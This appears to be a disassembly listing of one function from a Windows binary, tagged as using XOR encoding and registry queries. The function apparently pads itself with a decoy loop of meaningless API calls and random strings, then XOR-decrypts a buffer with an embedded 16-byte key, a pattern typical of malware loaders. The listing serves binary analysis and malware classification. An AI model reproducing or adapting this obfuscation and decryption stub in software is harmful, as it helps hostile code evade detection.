Function at 0x1000c3b0
Capabilities:
Encode data using xor
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002216d
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x1002b0f4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movsd xmm0, qword [0x1002ba48]
mov ecx, 0x714c4
ucomisd xmm0, qword [0x10023d50]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], ecx
lahf
test ah, 0x44
jp 0x1000c9ff
cmp ecx, 0x714c5
jge 0x1000c9fc
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0xe
push str.uwizybavueupam
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.1000d330
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
push 0xe
push str.ybozayycyedxif
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.1000d430
movsd xmm0, qword [0x1002ba50]
push 0
push 0x249192ee
sub esp, 8
mov dword [ebp - 4], 0xffffffff
movsd qword [esp], xmm0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movsd xmm0, qword [0x10023ac0]
sub esp, 8
mov dword [ebp - 0x64], eax
movsd qword [esp], xmm0
movsd xmm0, qword [0x1002ba78]
call fcn.10015b90
sub esp, 0x18
mov dword [ebp - 0x60], esp
mov esi, esp
mov dword [ebp - 0x14], esi
test edx, edx
jg 0x1000c4d6
jl 0x1000c4bb
test eax, eax
jae 0x1000c4d6
neg eax
adc edx, 0
neg edx
push edx
push eax
lea eax, [ebp - 0x23]
push eax
call fcn.100019f0
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x1000c4e3
push edx
push eax
lea eax, [ebp - 0x23]
push eax
call fcn.100019f0
mov ecx, eax
lea eax, [ebp - 0x23]
mov dword [esi], 0
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp ecx, eax
je 0x1000c50f
sub eax, ecx
push eax
push ecx
mov ecx, esi
call fcn.1000d330
sub esp, 0x18
mov dword [ebp - 4], 1
mov ecx, esp
push 0xb
push str.umowyhieaix
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.1000d330
mov ecx, 0x2d9b40a7
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
movsd xmm0, qword [0x1002ba50]
mov edi, eax
call fcn.10015b90
movsd xmm0, qword [0x1002ba68]
push edx
push eax
call fcn.10015b90
sub esp, 0x18
mov dword [ebp - 0x14], esp
mov esi, esp
mov dword [ebp - 0x60], esi
test edx, edx
jg 0x1000c59b
jl 0x1000c580
test eax, eax
jae 0x1000c59b
neg eax
adc edx, 0
neg edx
push edx
push eax
lea eax, [ebp - 0x23]
push eax
call fcn.100019f0
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x1000c5a8
push edx
push eax
lea eax, [ebp - 0x23]
push eax
call fcn.100019f0
mov ecx, eax
lea eax, [ebp - 0x23]
mov dword [esi], 0
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp ecx, eax
je 0x1000c5d4
sub eax, ecx
push eax
push ecx
mov ecx, esi
call fcn.1000d330
movsd xmm0, qword [0x1002ba68]
mov dword [ebp - 4], 2
call fcn.10015b90
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x60], esi
test edx, edx
jg 0x1000c615
jl 0x1000c5fa
test eax, eax
jae 0x1000c615
neg eax
adc edx, 0
neg edx
push edx
push eax
lea eax, [ebp - 0x3b]
push eax
call fcn.100019f0
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x1000c622
push edx
push eax
lea eax, [ebp - 0x3b]
push eax
call fcn.100019f0
mov ecx, eax
lea eax, [ebp - 0x3b]
mov dword [esi], 0
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp ecx, eax
je 0x1000c64e
sub eax, ecx
push eax
push ecx
mov ecx, esi
call fcn.1000d330
movsd xmm0, qword [0x100239e8]
push 0
push 0x2f48045a
sub esp, 8
mov dword [ebp - 4], 0xffffffff
movsd qword [esp], xmm0
call dword [sym.imp.COMCTL32.dll_ImageList_BeginDrag]
add esp, 0x30
mov esi, eax
mov ecx, esp
push 3
push 0x100238c8
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.1000d330
movsd xmm0, qword [0x1002ba78]
call fcn.10015b90
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
movd xmm1, dword [ebp - 0x64]
add esp, 8
cvtdq2pd xmm1, xmm1
mov ecx, esp
movd xmm0, edi
mulsd xmm1, qword [0x100239b0]
cvtdq2pd xmm0, xmm0
fstp qword [ebp - 0x18]
mulsd xmm1, xmm0
movd xmm0, esi
cvtdq2pd xmm0, xmm0
divsd xmm1, xmm0
movsd xmm0, qword [0x10023bf8]
divsd xmm1, qword [ebp - 0x18]
mov dword [ebp - 0x14], esp
push 0xe
push str.uwizybavueupam
subsd xmm0, xmm1
movsd qword [0x1002ba68], xmm0
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.1000d330
sub esp, 0x18
mov dword [ebp - 4], 3
mov ecx, esp
push 0xe
push str.ybozayycyedxif
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.1000d430
movsd xmm0, qword [0x1002ba50]
push 0
push 0x249192ee
sub esp, 8
mov dword [ebp - 4], 0xffffffff
movsd qword [esp], xmm0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movsd xmm0, qword [0x10023ac0]
sub esp, 8
mov dword [ebp - 0x64], eax
movsd qword [esp], xmm0
movsd xmm0, qword [0x1002ba78]
call fcn.10015b90
sub esp, 0x18
mov dword [ebp - 0x14], esp
mov esi, esp
mov dword [ebp - 0x60], esi
test edx, edx
jg 0x1000c7bb
jl 0x1000c7a0
test eax, eax
jae 0x1000c7bb
neg eax
adc edx, 0
neg edx
push edx
push eax
lea eax, [ebp - 0x3b]
push eax
call fcn.100019f0
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x1000c7c8
push edx
push eax
lea eax, [ebp - 0x3b]
push eax
call fcn.100019f0
mov ecx, eax
lea eax, [ebp - 0x3b]
mov dword [esi], 0
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp ecx, eax
je 0x1000c7f4
sub eax, ecx
push eax
push ecx
mov ecx, esi
call fcn.1000d330
sub esp, 0x18
mov dword [ebp - 4], 4
mov ecx, esp
push 0xb
push str.umowyhieaix
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.1000d330
mov ecx, 0x2d9b40a7
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
movsd xmm0, qword [0x1002ba50]
mov edi, eax
call fcn.10015b90
movsd xmm0, qword [0x1002ba68]
push edx
push eax
call fcn.10015b90
sub esp, 0x18
mov dword [ebp - 0x14], esp
mov esi, esp
mov dword [ebp - 0x60], esi
test edx, edx
jg 0x1000c880
jl 0x1000c865
test eax, eax
jae 0x1000c880
neg eax
adc edx, 0
neg edx
push edx
push eax
lea eax, [ebp - 0x3b]
push eax
call fcn.100019f0
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x1000c88d
push edx
push eax
lea eax, [ebp - 0x3b]
push eax
call fcn.100019f0
mov ecx, eax
lea eax, [ebp - 0x3b]
mov dword [esi], 0
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp ecx, eax
je 0x1000c8b9
sub eax, ecx
push eax
push ecx
mov ecx, esi
call fcn.1000d330
movsd xmm0, qword [0x1002ba68]
mov dword [ebp - 4], 5
call fcn.10015b90
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x60], esi
test edx, edx
jg 0x1000c8fa
jl 0x1000c8df
test eax, eax
jae 0x1000c8fa
neg eax
adc edx, 0
neg edx
push edx
push eax
lea eax, [ebp - 0x23]
push eax
call fcn.100019f0
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x1000c907
push edx
push eax
lea eax, [ebp - 0x23]
push eax
call fcn.100019f0
mov ecx, eax
lea eax, [ebp - 0x23]
mov dword [esi], 0
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp ecx, eax
je 0x1000c933
sub eax, ecx
push eax
push ecx
mov ecx, esi
call fcn.1000d330
movsd xmm0, qword [0x100239e8]
push 0
push 0x2f48045a
sub esp, 8
mov dword [ebp - 4], 0xffffffff
movsd qword [esp], xmm0
call dword [sym.imp.COMCTL32.dll_ImageList_BeginDrag]
add esp, 0x30
mov esi, eax
mov ecx, esp
push 3
push 0x100238c8
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.1000d330
movsd xmm0, qword [0x1002ba78]
call fcn.10015b90
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
movd xmm1, dword [ebp - 0x64]
add esp, 0x20
cvtdq2pd xmm1, xmm1
mov ecx, dword [ebp - 0x6c]
inc ecx
mov dword [ebp - 0x6c], ecx
movd xmm0, edi
mulsd xmm1, qword [0x100239b0]
cvtdq2pd xmm0, xmm0
fstp qword [ebp - 0x18]
mulsd xmm1, xmm0
movd xmm0, esi
cvtdq2pd xmm0, xmm0
divsd xmm1, xmm0
movsd xmm0, qword [0x10023a30]
divsd xmm1, qword [ebp - 0x18]
subsd xmm0, xmm1
movsd qword [0x1002ba50], xmm0
movsd xmm0, qword [0x1002ba48]
ucomisd xmm0, qword [0x10023d50]
lahf
test ah, 0x44
jnp 0x1000c402
mov edx, dword [ebp - 0x70]
mov esi, dword [edx + 4]
xor ecx, ecx
mov edi, dword [edx]
xorps xmm0, xmm0
movq qword [ebp - 0x5c], xmm0
sub esi, edi
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 4], 6
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x20], xmm0
sub esi, 0x10
je 0x1000ca43
lea eax, [ebp - 0x65]
push eax
push esi
lea ecx, [ebp - 0x5c]
call fcn.100018e0
mov ecx, dword [ebp - 0x5c]
push esi
lea eax, [edi + 0x10]
push eax
push ecx
call fcn.10016960
mov eax, dword [ebp - 0x58]
add esp, 0xc
sub eax, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x70]
mov ecx, esi
push eax
call fcn.10013590
mov edx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x5c]
sub edx, ecx
sub edx, 1
js 0x1000ca8f
nop
mov cl, byte [ecx + edx]
mov eax, edx
and eax, 0xf
xor byte [ebp + eax - 0x20], cl
mov al, byte [ebp + eax - 0x20]
xor cl, al
mov eax, dword [esi]
mov byte [edx + eax], cl
sub edx, 1
mov ecx, dword [ebp - 0x5c]
jns 0x1000ca70
test ecx, ecx
je 0x1000cabc
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000cab2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000cad7
push edx
push ecx
call fcn.10015453
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10015b81
mov esp, ebp
pop ebp
ret
call fcn.10018abf
int3